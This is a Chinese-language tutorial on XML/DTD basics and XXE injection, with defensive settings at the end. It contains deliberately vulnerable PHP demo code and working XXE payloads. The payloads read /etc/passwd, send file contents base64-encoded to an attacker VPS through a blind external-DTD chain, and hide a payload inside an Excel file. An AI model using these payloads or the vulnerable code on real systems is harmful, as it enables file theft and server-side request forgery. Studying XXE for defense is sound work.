前言:XXE漏洞是很久之前学的,由于没遇到多少实战案例,XXE漏洞逐渐被我搁置,没有好好重视,于是本文简单再复习一下
XML基础 什么是XML XML可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的 标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML在web中的应用已十分广泛。XML是各种应用程序 之间数据传输最常用的格式。
与HTML的区别在于一个被设计用来展示数据,一个用来传输数据 。 XML 标签没有被预定义,需要自行定义标签
XML文档结构包括:XML声明(可选)、DTD文档类型定义(非必要) 、文档元素。下面是一个XML文档 实例:
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="UTF-8" ?> <girls > <girl > <hair > 短头发</hair > <eye > 大眼睛</eye > <face > 可爱的脸庞</face > <summary age ="23" > 我最爱的女孩</summary > </girl > </girls >
第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8)
XML注释
第二行是文档的根元素(girls)
后面就是子元素以及元素结尾。
整个XML是一种树形结构(根节点,子节点)
元素:XML 元素指的是从开始标签直到结束标签的部分(包括标签)
一个元素可以包含: 1. 子元素 2. 文本 3. 属性
XML语法规则
XML 声明文件是可选部分,如果存在需要放在文档的第一行。
XML 必须包含根元素,它是所有其他元素的父元素。上文中的girls就是根元素。
所有 XML 元素都必须有关闭标签
XML 声明没有关闭标签。这不是错误。声明不属于XML本身的组成部分。它不是 XML 元素, 也不需要关闭标签
XML 标签对大小写敏感
XML 必须正确地嵌套
XML 的属性值须加引号
数据类型
PCDATA:被解析的字符数据,其中的标签会被当作标记来处理,而实体会被展开。
CDATA:不被解析的字符数据,其中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD基础 认识DTD DTD(Document Type Definition)文档类型定义。 DTD是用来控制文档的一个格式规范的,由 XML 设计者或作者开发。 在DTD中定义了XML中存在什么标签、拥有什么属性、以及其它元素里面有什么元素等。它确实可以用于定义和声明XML文档的结构,但它并不是XML文档的必需部分。DTD的作用包括:
定义文档结构 :指定允许的元素、属性和它们的顺序。
验证文档 :确保XML文档符合定义的结构和约束。
但XML文档本身并不要求必须有DTD。没有DTD的XML:只要XML文档的结构是有效的,即符合XML语法规则,它就可以被解析和使用。解析器只需要确保XML是格式正确的
下面是一个 DTD文档的实例:
1 2 3 4 5 6 7 <!ELEMENT girls (girl)*> <!ELEMENT girl (hair, eye, face, summary)> <!ELEMENT hair (#PCDATA)> <!ELEMENT eye (#PCDATA)> <!ELEMENT face (#PCDATA)> <!ELEMENT summary (#PCDATA)> <!ATTLIST summary age CDATA "0">
第一行定义了girls元素,它可以有任意个girl子元素,其中型号(*)表示出现0次或者多次。
第二行定义了girl元素,它有4个子元素,并且在girl中必须且只能出现一次。
第三行定义了hair元素,该元素的数据类型为PCDATA。
第七行声明了summary元素的age属性,属性类型是CDATA,默认值是“0”。
声明DTD
声明 DTD:如果你声明了 DTD,XML 解析器会根据 DTD 验证文档的结构,确保文档符合 DTD 中定义的规则。
不声明 DTD:如果没有声明 DTD,XML 解析器仍然会解析文档,但不会进行结构验证。解析器只会确保文档符合 XML 语法规则,不会验证文档是否符合特定的结构要求。
内部声明DTD 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE girls [ <!ELEMENT girl (hair , eye , face , summary )> <!ELEMENT hair (#PCDATA )> <!ELEMENT eye (#PCDATA )> <!ELEMENT face (#PCDATA )> <!ELEMENT summary (#PCDATA )> <!ATTLIST summary age CDATA "0" > ]> <girls > <girl > <hair > 短头发</hair > <eye > 大眼睛</eye > <face > 可爱的脸庞</face > <summary age ="23" > 我最爱的女孩</summary > </girl > </girls >
内部声明的这部分被称为内部子集 ,DTD的一部分,可以直接嵌入到XML文档内部。这部分定义了文档的结构(如元素、属性等)。
外部引用DTD 我们可以从外部的dtd文件中引用(这也是xxe漏洞产生的原因)。引用格式为:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE girls SYSTEM "girls.dtd" > <girls > <girl > <hair > 短头发</hair > <eye > 大眼睛</eye > <face > 可爱的脸庞</face > <summary age ="23" > 我最爱的女孩</summary > </girl > </girls >
外部声明的这部分DTD内容被称为外部子集 ,常存储在外部DTD文件中,通过<!DOCTYPE>
声明引用。外部子集允许你将DTD的结构定义分开存储,使其在多个XML文档中重用。
DTD实体 实体(ENTITY):如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名 (类似于变量),即一个ENTITY,然后在文档中调用它。 实体是用于定义引用普通文本或特殊字符的快捷方式的变量 。 实体可以分为通用实体和参数实体,都可以内部声明或者外部引用
以实体名为user 值为 admin为例:
类型
通用实体
参数实体
内部声明
外部声明
引用方式
&user;
%user;
使用场景
用在 XML 文档中(包括DTD)
只用在DTD的元素和属性声明中
通用实体 通用实体在在DTD中定义,在XML文档中都可以使用,比如:
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE login [ <!ELEMENT login ANY > <!--定义元素为ANY表示接受任何元素--><!ENTITY username "admin" > ]> <login > <user > &username; </user > <pass > admin123</pass > </login >
参数实体 参数实体的目的是能够创建替换文本的可重用部分,只能在 DTD 中使用,它使我们能够简便地引用或修改DTD中常用的结构
1 2 3 4 5 <!ENTITY % name "value"> <!ENTITY % an-element "<!ELEMENT girls (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; <!DOCTYPE girls SYSTEM %remote-dtd;>
使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 。
参数实体只能在DTD声明中引用,不能像通用实体那样在xml文档内容中进行引用。
参数实体可以在内部子集中定义和使用
DTD内部子集中的参数实体调用,不能混掺到标记语言XML中,但外部参数实体不受此限制。
例如:
1 2 3 <!ENTITY % example "value" > <!ELEMENT root (#PCDATA )>
1 2 3 <!DOCTYPE root SYSTEM "external.dtd" > <root > Content</root >
预定义实体 在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插 入了“<”符号,解析器会把它当作新元素的开始,就会产生错误
1 2 3 4 5 6 7 8 9 10 <note > <to > Tove</to > <from > Jani</from > <heading > Reminder</heading > <body > Don't forget me this weekend!</body > <example > < tag> & " special" ' characters' </example > </note >
XXE漏洞 XXE漏洞原理 XXE漏洞全称为 XML External Entity Injection,即XML外部实体注入。 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部加载的文件 ,从而导致漏洞的发生。 XXE漏洞的触发点往往是可以上传并解析xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。
XXE漏洞危害 信息泄露
服务器端请求伪造(SSRF)
拒绝服务(DoS)
执行任意代码
在一些情况下,攻击者可以通过XXE漏洞影响应用程序的行为,导致执行任意代码或命令。虽然这种情况较少见,但也是可能的。
XXE漏洞探测 1. 检测是否解析XML 1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf8" ?> <!DOCTYPE x1lys [ <!ELEMENT x1lys ANY > <!ENTITY hack "worning XXE" > ]> <x1lys > <test > &hack; </test > </x1lys >
如果页面输出了worning XXE,说明xml文件可以被解析
2.检测是否支持DTD引用外部实体 1 2 3 4 5 6 <?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://xst9gnm0ju8xvsjp2uu9xcl5dwjs7wvl.oastify.com" > ]><user > <username > &xxe; </username > <password > 1234</password > </user >
在burp查看请求日志
1 2 3 4 5 6 <?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://111.111.111.11" > ]><user > <username > &xxe; </username > <password > 1234</password > </user >
在vps查看访问日志
看目标服务器是否向你的服务器发了一条请求。 如果支持引用外部实体,那么很有可能是存在xxe漏洞的
XXE Demo演示 有回显Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php header ('Content-type: text/html; charset=utf-8' );libxml_disable_entity_loader (false );if (isset ($_POST ['xml' ])){ $xml = $_POST ['xml' ]; $dom = new DOMDocument (); $dom ->loadXML ($xml , LIBXML_NOENT | LIBXML_DTDLOAD); $data = simplexml_import_dom ($dom ); echo "result: " .$data ; } ?> <html> <head> <title>XXE Demo With Echo</title> </head> <body> <h1>XXE Demo With Echo</h1> <form action="" method="post" > <input type="text" name="xml" style="width:300px; height: 150px;" > <input type="submit" value="submit" > </form> </body> </html>
提交XMLpayload,php接收提交的XML,使用 DOMDocument
类的 loadXML
方法加载提交的 XML 数据。这个方法会解析 XML 数据并处理其中的外部实体,将 DOMDocument
转换为 SimpleXMLElement
对象。SimpleXMLElement
提供了一种简单的方式来处理 XML 数据。输出解析后的结果。由于 SimpleXMLElement
对象会被转换为字符串,这里会显示 XML 数据的内容。
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "secret.txt" > ]> <foo > &xxe; </foo >
无回显Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php header ('Content-type: text/html; charset=utf-8' );libxml_disable_entity_loader (false );if (isset ($_POST ['xml' ])){ $xml = $_POST ['xml' ]; $dom = new DOMDocument (); $dom ->loadXML ($xml , LIBXML_NOENT | LIBXML_DTDLOAD); $data = simplexml_import_dom ($dom ); } ?> <html> <head> <title>XXE Demo Without Echo</title> </head> <body> <h1>XXE Demo Without Echo</h1> <form action="" method="post" > <input type="text" name="xml" style="width:300px; height: 150px;" > <input type="submit" value="submit" > </form> </body> </html>
1 2 3 4 5 6 <!--借助DNSLog平台查看是否回显(或者自己的VPS)--> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://22222.d5423d3b.log.dnslog.biz/"> ]> <root>&xxe;</root>
XXE漏洞利用 读取敏感文件 1 2 3 4 5 <?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><user > <username > &xxe; </username > <password > 1234</password > </user >
读取含有特殊字符的文件 我们读取的文件内容中如果存在很多的特殊字符:<、 >、;、’、”等,无法正常读取,因为当xml的标签内还存在这些特殊字符时,尤其是”<”,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误
我们知道:CDATA(Character Data)部分用于表示不需要解析的字符数据。CDATA
部分的内容不会被 XML 解析器处理,因此可以包含一些特殊字符,如 <
, >
, 和 &
,这些字符在普通的 XML 元素中会被当作标记解析。
CDATA语法规则:
CDATA内部不能包含字符串 “]]>”,这是CDATA的结尾字符,也不允许内部嵌套的其他CDATA ,这样会导致异常的闭合,从而使XML解析器报错。
标记 CDATA 部分结尾的 “]]>” 不能包含空格或换行
到这里,我们就可以尝试使用CDATA去读取目标文件的内容,我们首先需要把要读取的内容放在CDATA中 ,这样特殊字符就不会被解析了,就可以正常读取含有特殊字符的文件,但是CDATA并没有提供直接拼接字符串的方法,所以我们暂且先使用通用实体进行手动拼接尝试看行不行 :
1 2 3 4 5 6 7 8 <!DOCTYPE xxx [ <!ENTITY test "<![CDATA[" > <!ENTITY abc SYSTEM "file:///opt/flag2" > <!ENTITY aa "]]>" > ]> <user > <username > &test; &abc; &aa; </username > <password > 1234</password > </user >
读取失败
这说明拼接方式不可行,我们现在使用的是通用实体,通用实体的引用是在xml文档内容中,既然在xml文档内容中拼接不可行,那再dtd中拼接可行吗?再次进行尝试,既然在DTD中拼接,那就需要用到参数实体了 :
1 2 3 4 5 6 7 8 9 <!DOCTYPE xxx [ <!ENTITY % test "<![CDATA[" > <!ENTITY % abc SYSTEM "file:///opt/flag2" > <!ENTITY % aa "]]>" > <!ENTITY all "%test;%abc;%aa" > ]> <user > <username > &all; </username > <password > 1234</password > </user >
破案了,根据XML规范所描述:“在DTD内部子集中的参数实体调用,不能混掺到标记语言中”,就是不能在实际的XML标记语言中来调用参数实体,像我们这样,就是在标记语言中进行调用。
但是幸运的是,XML规范还声明了一点:“外部参数实体不受此限制” ,也就是我们可以使用外部的DTD来构造payload,将 我们的CDATA内容拼接起来:
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///opt/flag2" > <!ENTITY % end "]]>" > <!ENTITY % dtd SYSTEM "http://111.111.11.11/1.dtd" > <!--此处声明外部参数实体dtd-->%dtd;]> <user > <username > &all; </username > <password > 1234</password > </user >
1 2 3 <!ENTITY all "%start;%goodies;%end;" >
简单来说就是把上一步的<!ENTITY all “%test;%abc;%aa”这部分放进一个DTD文件,再外部引用它就OK
成功读取到含有特殊字符的文件内容!
Blind XXE 那么如果程序没有回显的情况下,无法直接读取文件内容,就需要用外带参数实体注入的方法去利用
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://111.111.111.111/test.dtd" > %remote;%init;%send; ]> <user > <username > 1</username > <password > 2ad</password > </user > 其中,攻击者服务器test.dtd文件内容: <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag" > <!ENTITY % init "<!ENTITY % send SYSTEM 'http://111.111.111.111/?p=%payload ;'>" >
可能这个payload有点绕,我们来解释一下:
DTD中,先声明了一个remote实体指向攻击者VPS上的DTD文件路径,然后引用remote实体,解析攻击者VPS上的DTD文件test.dtd,test.dtd中有init实体,接着引用改init实体,init实体中嵌套了一个send实体,接着引用send实体,send实体中又引用了payload实体,payload实体在test.dtd中被声明,整个流程下来就是,让目标网站的XML解析器去解析这段payload,从而去请求http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag攻击者的VPS且把文件内容利用GET传参p参数,传入php伪协议读取文件内容并base64编码数据,防止特殊字符在url中不支持,这样攻击者就能通过查看访问vps日志得到文件内容了
但是看到这里,有师傅不禁要问,这不就是一个让目标网站去请求”http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag"的原理吗,为什么不直接一步到位,直接实体值就设置为这个,而是要这样分部进行,绕来绕去的?
1 2 3 4 5 6 <!DOCTYPE convert [ <!ENTITY % payload SYSTEM "http://111.111.111.111/?p=php://filter/read=convert.base64-encode/resource=/opt/flag" > %payload; ]> <user > <username > 1</username > <password > 2ad</password > </user >
那是因为:
过滤和保护:现代的解析器和 Web 应用防火墙(WAF)可能会对这种直接的攻击模式进行过滤或拦截。特别是针对外部实体的直接引用,可能会被设计为不允许外部请求或具有更严格的安全措施。
限制:某些系统可能会对 DTD 中的外部实体引用有更严格的限制,特别是在直接使用外部 URL 进行攻击时。
于是使用第一种 :
可以绕过一些简单的过滤和保护机制,因为它分步完成了实体的注入。还可以通过多个实体的组合来实现更复杂的攻击逻辑。
数据包无回显
VPS的访问日志可以看到,有请求数据了
再base64解码得到文件内容,至此突破了Blind XXE
EXCEL文档XXE 实际上,现代Excel文件就是XML文档的zip文件。这称为Office Open XML格式或OOXML。 许多应用程序允许上传Excel文件并解析,这几乎肯定需要解析XML的,于是在如果此处解析器未安全配置,则XXE几乎是不可避免的
先构造一个含有XXEpayload的Excel文件:
新建Excel文件 1.xlsx
直接改后缀为zip,这就得到了原始xml的压缩形式zip,因为excel其实就是xml压缩得到的
解压,还原出原始xml
构造xml payload,请求DNSlog地址,看是否有回显,以此检验是否成功解析并执行xml
1 2 3 4 <!DOCTYPE root [ <!ENTITY test SYSTEM "http://x1lys.d5423d3b.log.dnslog.biz/" > ]> <root > &test; </root >
开[Content_Types].xml文件,在第一行下,插入xml payload
1 2 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <Types xmlns ="http://schemas.openxmlformats.org/package/2006/content-types" > <Default Extension ="rels" ContentType ="application/vnd.openxmlformats-package.relationships+xml" /> <Default Extension ="xml" ContentType ="application/xml" /> <Override PartName ="/xl/workbook.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" /> <Override PartName ="/xl/worksheets/sheet1.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" /> <Override PartName ="/xl/theme/theme1.xml" ContentType ="application/vnd.openxmlformats-officedocument.theme+xml" /> <Override PartName ="/xl/styles.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" /> <Override PartName ="/docProps/core.xml" ContentType ="application/vnd.openxmlformats-package.core-properties+xml" /> <Override PartName ="/docProps/app.xml" ContentType ="application/vnd.openxmlformats-officedocument.extended-properties+xml" /> </Types >
插入xml paylaod
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <!DOCTYPE root [ <!ENTITY test SYSTEM "http://x1lys.d5423d3b.log.dnslog.biz/" > ]> <root > &test; </root > <Types xmlns ="http://schemas.openxmlformats.org/package/2006/content-types" > <Default Extension ="rels" ContentType ="application/vnd.openxmlformats-package.relationships+xml" /> <Default Extension ="xml" ContentType ="application/xml" /> <Override PartName ="/xl/workbook.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" /> <Override PartName ="/xl/worksheets/sheet1.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" /> <Override PartName ="/xl/theme/theme1.xml" ContentType ="application/vnd.openxmlformats-officedocument.theme+xml" /> <Override PartName ="/xl/styles.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" /> <Override PartName ="/docProps/core.xml" ContentType ="application/vnd.openxmlformats-package.core-properties+xml" /> <Override PartName ="/docProps/app.xml" ContentType ="application/vnd.openxmlformats-officedocument.extended-properties+xml" /> </Types >
重新将这些文件压缩为zip,再修改为xlsx就还原了
XXE的防御 直接禁用外部实体 php 1 libxml_disable_entity_loader (true );
java 1 2 3 4 5 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false ); .setFeature("http://apache.org/xml/features/disallow-doctype-decl" ,true ); .setFeature("http://xml.org/sax/features/external-general-entities" ,false ) .setFeature("http://xml.org/sax/features/external-parameter-entities" ,false );
python 1 2 from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False ))
黑名单过滤(不推荐) 过滤关键字
1 <!DOCTYPE、<!ENTITY SYSTEM 、PUBLIC